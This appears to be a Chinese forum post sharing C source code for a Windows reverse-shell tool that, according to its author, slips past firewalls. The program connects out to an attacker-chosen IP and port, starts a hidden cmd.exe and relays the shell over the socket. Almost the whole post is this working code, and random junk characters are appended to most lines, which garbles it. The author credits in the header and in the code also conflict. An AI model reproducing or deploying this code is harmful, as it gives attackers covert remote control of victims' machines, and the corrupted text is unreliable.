这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qPF`=#
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/* ============================== omzG/)M:O
Rebound port in Windows NT K26`wt
By wind,2006/7 Zi=/w
===============================*/ y$[:Kh,
#include _kXq0~
#include K$/&C:,Q
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); O QGKH6q
SOCKET sClient; y,s`[=CT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 85?;\5%-
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void main(int argc,char **argv) ,9Si3vn
{ E.eUd4XG
WSADATA stWsaData; _9:r4|S
int nRet; cPy/}A
SOCKADDR_IN stSaiClient,stSaiServer; "."ow|
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if(argc != 3) xtO#reL"q?
{ }\0ei(%H
printf("Useage:\n\rRebound DestIP DestPort\n"); ~sT1J|
return; {2F@OfuCF
} B;e (5y-
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WSAStartup(MAKEWORD(2,2),&stWsaData); y4)iL?!J~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hg5:>?Lw@
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stSaiClient.sin_family = AF_INET; yQ0:M/r;0
stSaiClient.sin_port = htons(0); G&
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); je85G`{DC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <.".,Na(J0
{ i936+[
printf("Bind Socket Failed!\n"); V:h7}T95
return; f~ wgMp.W0
} f0&%
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stSaiServer.sin_family = AF_INET; &P7Z_&34Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !|\l*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }Xvm(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) stQ_Ke
{ Bmt^*;WY+
printf("Connect Error!"); iD*L<9
return; @;\0cEn>
} YD;G+"n?T
OutputShell(); sGa}Cf;H@g
} Ad&VOh+0
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void OutputShell() CEW1T_1U<\
{ +pRNrg?k
char szBuff[1024]; A `{hKS
SECURITY_ATTRIBUTES stSecurityAttributes; YPW
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OSVERSIONINFO stOsversionInfo; XY#.?<"Q8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mv7W03
STARTUPINFO stStartupInfo; dXfLN<nD>U
char *szShell; 0j;q^>
PROCESS_INFORMATION stProcessInformation; Zm0' p!
unsigned long lBytesRead; 5] LfJh+"n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); LcZ|A;it
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XBoq/kbw!
stSecurityAttributes.lpSecurityDescriptor = 0; dIfy!B"
stSecurityAttributes.bInheritHandle = TRUE; )k;;O7Ck
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c?N,Cd~q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #_{Q&QUk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "([/G?QAG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+ud[atk.
stStartupInfo.wShowWindow = SW_HIDE; tuLNGU
stStartupInfo.hStdInput = hReadPipe; IVY)pS"pR"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @{W"mc+
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GetVersionEx(&stOsversionInfo); AmC?qoEWQ7
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switch(stOsversionInfo.dwPlatformId) cPv(VjS1;
{ bf|ePGW?
case 1: )+R n[MMp
szShell = "command.com"; @S=9@3m{w;
break; K`2(Q
default: hJsP;y:@Lm
szShell = "cmd.exe"; w@<II-9L)<
break; $1g1Bn
} C!|LGzs0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tj$[szo
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send(sClient,szMsg,77,0); K8R>O *~
while(1) vd)zvI
{ Q;J(
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?xrOhA9
if(lBytesRead) {`Gd
{ d$jwh(Ivs
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2;u
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send(sClient,szBuff,lBytesRead,0); aydNSgu
} ^H&U_
else g/fpXO\
{ k%FA:ms|k
lBytesRead=recv(sClient,szBuff,1024,0); +FAj30
if(lBytesRead<=0) break; s8)`wH?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ypyKRsx
} 4(8trD6
} Px&_6}YWy
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return; > (9\ cF{
}